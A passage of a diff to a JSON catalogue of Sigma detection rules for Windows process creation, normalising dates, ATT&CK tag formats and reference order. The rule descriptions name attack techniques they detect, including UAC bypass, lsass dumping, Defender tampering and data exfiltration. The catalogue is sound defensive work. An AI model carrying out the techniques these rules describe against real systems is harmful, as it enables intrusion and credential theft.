"https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webdav_lnk_execution.yml" ], "tags": [ @@ -19216,7 +19148,7 @@ "description": "Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files.\nAdversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Msxsl is not installed by default and is deprecated, so unlikely on most systems." ], @@ -19230,7 +19162,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1220" ] }, @@ -19250,7 +19182,7 @@ "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -19259,13 +19191,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -19276,7 +19208,7 @@ "description": "Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/06/25", + "creation_date": "2021-06-25", "falsepositive": [ "Legitimate software creating script event consumers" ], @@ -19310,7 +19242,7 @@ "description": "Detects potential commandline obfuscation using known escape characters", "meta": { "author": "juju4", - "creation_date": "2018/12/11", + "creation_date": "2018-12-11", "falsepositive": [ "Unknown" ], @@ -19319,15 +19251,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Hexacorn/status/885570278637678592", - "https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques", - "https://twitter.com/Hexacorn/status/885553465417756673", "https://twitter.com/vysecurity/status/885545634958385153", "https://web.archive.org/web/20190213114956/http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://twitter.com/Hexacorn/status/885570278637678592", + "https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -19347,7 +19279,7 @@ "description": "Detects execution of the IEExec utility to download and execute files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/16", + "creation_date": "2022-05-16", "falsepositive": [ "Unknown" ], @@ -19360,7 +19292,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ieexec_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -19380,7 +19312,7 @@ "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -19394,7 +19326,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -19414,7 +19346,7 @@ "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Unknown" ], @@ -19423,8 +19355,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.echotrail.io/insights/search/wusa.exe/", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://www.echotrail.io/insights/search/wusa.exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_cab_files_extraction_from_susp_paths.yml" ], "tags": [ @@ -19438,7 +19370,7 @@ "description": "Detects execution of \"rundll32.exe\" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.", "meta": { "author": "CD_ROM_", - "creation_date": "2022/05/21", + "creation_date": "2022-05-21", "falsepositive": [ "Unknown" ], @@ -19452,7 +19384,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", @@ -19462,7 +19394,7 @@ "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", "meta": { "author": "frack113", - "creation_date": "2021/11/15", + "creation_date": "2021-11-15", "falsepositive": [ "Unlikely" ], @@ -19495,7 +19427,7 @@ "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", "meta": { "author": "frack113", - "creation_date": "2021/11/07", + "creation_date": "2021-11-07", "falsepositive": [ "Unknown" ], @@ -19504,13 +19436,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Tylous/ZipExec", "https://twitter.com/SBousseaden/status/1451237393017839616", + "https://github.com/Tylous/ZipExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_zipexec.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -19538,7 +19470,7 @@ "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", "meta": { "author": "Bartlomiej Czyz, Relativity", - "creation_date": "2021/01/31", + "creation_date": "2021-01-31", "falsepositive": [ "False positives may occur if a user called rundll32 from CLI with no options" ], @@ -19551,7 +19483,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.t1570", "attack.execution", @@ -19588,7 +19520,7 @@ "description": "Detects when a user enable developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -19602,7 +19534,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systemsettingsadminflows_turn_on_dev_features.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "a383dec4-deec-4e6e-913b-ed9249670848", @@ -19612,7 +19544,7 @@ "description": "Detects suspicious child processes of the \"Manage Engine ServiceDesk Plus\" Java web service", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/01/18", + "creation_date": "2023-01-18", "falsepositive": [ "Legitimate sub processes started by Manage Engine ServiceDesk Pro" ], @@ -19621,13 +19553,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/", "https://blog.viettelcybersecurity.com/saml-show-stopper/", "https://github.com/horizon3ai/CVE-2022-47966/blob/3a51c6b72ebbd87392babd955a8fbeaee2090b35/CVE-2022-47966.py", + "https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_manageengine_susp_child_process.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102" ] }, @@ -19647,7 +19579,7 @@ "description": "Detects addition of users to highly privileged groups via \"Net\" or \"Add-LocalGroupMember\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/23", + "creation_date": "2024-02-23", "falsepositive": [ "Administrative activity that must be investigated" ], @@ -19680,7 +19612,7 @@ "description": "Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unlikely" ], @@ -19694,9 +19626,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "cve.2023.21746" + "attack.defense-evasion", + "attack.privilege-escalation", + "cve.2023-21746" ] }, "uuid": "6bd75993-9888-4f91-9404-e1e4e4e34b77", @@ -19706,7 +19638,7 @@ "description": "Detects execution of the \"del\" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.", "meta": { "author": "frack113 , X__Junior (Nextron Systems)", - "creation_date": "2021/12/02", + "creation_date": "2021-12-02", "falsepositive": [ "Unknown" ], @@ -19715,12 +19647,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase", + "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -19740,7 +19672,7 @@ "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/24", + "creation_date": "2022-05-24", "falsepositive": [ "Other tools that work with encoded scripts in the command line instead of script files" ], @@ -19773,7 +19705,7 @@ "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -19786,8 +19718,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -19807,7 +19739,7 @@ "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "Unknown" ], @@ -19847,7 +19779,7 @@ "description": "Detects potential network sniffing via use of network tools such as \"tshark\", \"windump\".\nNetwork sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "meta": { "author": "Timur Zinniatullin, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Legitimate administration activity to troubleshoot network issues" ], @@ -19860,7 +19792,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_sniffing.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.discovery", "attack.t1040" ] @@ -19881,7 +19813,7 @@ "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/18", + "creation_date": "2022-07-18", "falsepositive": [ "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" ], @@ -19890,13 +19822,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/wpbbin.html", "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_potential_persistence.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1542.001" ] }, @@ -19916,7 +19848,7 @@ "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", "meta": { "author": "John Lambert (rule)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -19949,7 +19881,7 @@ "description": "Detects user accept agreement execution in psexec commandline", "meta": { "author": "omkar72", - "creation_date": "2020/10/30", + "creation_date": "2020-10-30", "falsepositive": [ "Administrative scripts." ], @@ -19990,7 +19922,7 @@ "description": "Detects the enumeration and query of interesting and in some cases sensitive services on the system via \"sc.exe\".\nAttackers often try to enumerate the services currently running on a system in order to find different attack vectors.\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2024/02/12", + "creation_date": "2024-02-12", "falsepositive": [ "Unknown" ], @@ -19999,8 +19931,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/", "https://pentestlab.blog/tag/svchost/", + "https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query_interesting_services.yml" ], "tags": [ @@ -20023,7 +19955,7 @@ "description": "Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension", "meta": { "author": "Aedan Russell, frack113, X__Junior (Nextron Systems)", - "creation_date": "2022/06/19", + "creation_date": "2022-06-19", "falsepositive": [ "Usage of Chrome Extensions in testing tools such as BurpSuite will trigger this alert" ], @@ -20032,9 +19964,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://redcanary.com/blog/chromeloader/", "https://emkc.org/s/RJjuLa", "https://www.mandiant.com/resources/blog/lnk-between-browsers", - "https://redcanary.com/blog/chromeloader/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension.yml" ], "tags": [ @@ -20058,7 +19990,7 @@ "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/18", + "creation_date": "2022-10-18", "falsepositive": [ "Unknown" ], @@ -20067,8 +19999,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://learn.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_service_dacl_modification_set_service.yml" ], "tags": [ @@ -20092,7 +20024,7 @@ "description": "Detects the use of NPS, a port forwarding and intranet penetration proxy server", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/08", + "creation_date": "2022-10-08", "falsepositive": [ "Legitimate use" ], @@ -20105,7 +20037,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nps.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090" ] }, @@ -20125,7 +20057,7 @@ "description": "Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly.\nThis can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/15", + "creation_date": "2023-08-15", "falsepositive": [ "Unknown" ], @@ -20140,7 +20072,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_file_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -20160,7 +20092,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/20", + "creation_date": "2022-05-20", "falsepositive": [ "Legitimate use of AnyDesk from a non-standard folder" ], @@ -20173,7 +20105,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_susp_exec.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -20193,7 +20125,7 @@ "description": "Detects suspicious processes including shells spawnd from WinRM host process", "meta": { "author": "Andreas Hunkeler (@Karneades), Markus Neis", - "creation_date": "2021/05/20", + "creation_date": "2021-05-20", "falsepositive": [ "Legitimate WinRM usage" ], @@ -20207,9 +20139,9 @@ ], "tags": [ "attack.t1190", - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -20228,7 +20160,7 @@ "description": "Detects the usage of \"reg.exe\" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection", "meta": { "author": "Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/03/22", + "creation_date": "2022-03-22", "falsepositive": [ "Rare legitimate use by administrators to test software (should always be investigated)" ], @@ -20237,13 +20169,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/swagkarna/Defeat-Defender-V1.2.0", - "https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2", "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2", + "https://github.com/swagkarna/Defeat-Defender-V1.2.0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_windows_defender_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -20263,7 +20195,7 @@ "description": "Detects PowerShell scripts that make use of the \"Compress-Archive\" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration.\nAn adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2021/07/20", + "creation_date": "2021-07-20", "falsepositive": [ "Unknown" ], @@ -20272,8 +20204,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_zip_compress.yml" ], "tags": [ @@ -20297,7 +20229,7 @@ "description": "Detects the use of various CLI utilities exfiltrating data via web requests", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unlikely" ], @@ -20330,7 +20262,7 @@ "description": "Detects the execution of \"dctask64.exe\", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central.\nThis binary can be abused for DLL injection, arbitrary command and process execution.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/01/28", + "creation_date": "2020-01-28", "falsepositive": [ "Unknown" ], @@ -20339,13 +20271,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dctask64_arbitrary_command_and_dll_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055.001" ] }, @@ -20365,7 +20297,7 @@ "description": "Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of 'C:\\Program Files')", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/19", + "creation_date": "2022-09-19", "falsepositive": [ "Unknown" ], @@ -20378,7 +20310,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_rurat_non_default_location.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", @@ -20388,7 +20320,7 @@ "description": "Detects the execution of FSharp Interpreters \"FsiAnyCpu.exe\" and \"FSi.exe\"\nBoth can be used for AWL bypass and to execute F# code via scripts or inline.\n", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "Legitimate use by a software developer." ], @@ -20398,9 +20330,9 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", - "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsi_fsharp_code_execution.yml" ], "tags": [ @@ -20424,7 +20356,7 @@ "description": "Detect usage of the \"sqlite\" binary to query databases in Chromium-based browsers for potential data stealing.", "meta": { "author": "TropChaud", - "creation_date": "2022/12/19", + "creation_date": "2022-12-19", "falsepositive": [ "Unknown" ], @@ -20438,7 +20370,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_chromium_profile_data.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1539", "attack.t1555.003", "attack.collection", @@ -20475,7 +20407,7 @@ "description": "Detects execution of \"aspnet_compiler.exe\" with potentially suspicious paths for compilation.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/14", + "creation_date": "2023-08-14", "falsepositive": [ "Unknown" ], @@ -20484,12 +20416,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_paths.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -20509,7 +20441,7 @@ "description": "Detects suspicious use of XORDump process memory dumping utility", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/28", + "creation_date": "2022-01-28", "falsepositive": [ "Another tool that uses the command line switches of XORdump" ], @@ -20522,7 +20454,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_xordump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -20550,7 +20482,7 @@ "description": "Detects \"svchost.exe\" spawning \"rundll32.exe\" with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2023/03/16", + "creation_date": "2023-03-16", "falsepositive": [ "Unknown" ], @@ -20560,16 +20492,16 @@ "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png", + "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/", "https://twitter.com/aceresponder/status/1636116096506818562", - "https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/", "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/", - "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/", + "https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", - "cve.2023.23397" + "cve.2023-23397" ] }, "related": [ @@ -20588,7 +20520,7 @@ "description": "Detects indicators of a UAC bypass method by mocking directories", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/27", + "creation_date": "2021-08-27", "falsepositive": [ "Unknown" ], @@ -20597,13 +20529,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", "https://github.com/netero1010/TrustedPath-UACBypass-BOF", "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", - "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_trustedpath.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -20623,7 +20555,7 @@ "description": "Detects the execution of a renamed \"Msdt.exe\" binary", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Unlikely" ], @@ -20636,7 +20568,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -20656,7 +20588,7 @@ "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/10", + "creation_date": "2022-02-10", "falsepositive": [ "Unknown" ], @@ -20665,14 +20597,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.youtube.com/watch?v=Ie831jF0bb0", + "https://twitter.com/_xpn_/status/1491557187168178176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_citrix_trolleyexpress_procdump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011", - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -20699,7 +20631,7 @@ "description": "Detects the execution of WMIC in order to get a list of firewall and antivirus products", "meta": { "author": "Nasreddine Bencherchali", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -20708,9 +20640,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/03/06/2022-year-in-review/", - "https://learn.microsoft.com/en-us/answers/questions/253555/software-list-inventory-wmic-product", "https://www.yeahhub.com/list-installed-programs-version-path-windows/", + "https://learn.microsoft.com/en-us/answers/questions/253555/software-list-inventory-wmic-product", + "https://thedfirreport.com/2023/03/06/2022-year-in-review/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product.yml" ], "tags": [ @@ -20734,7 +20666,7 @@ "description": "Detects the execution of certutil with certain flags that allow the utility to download files.", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + 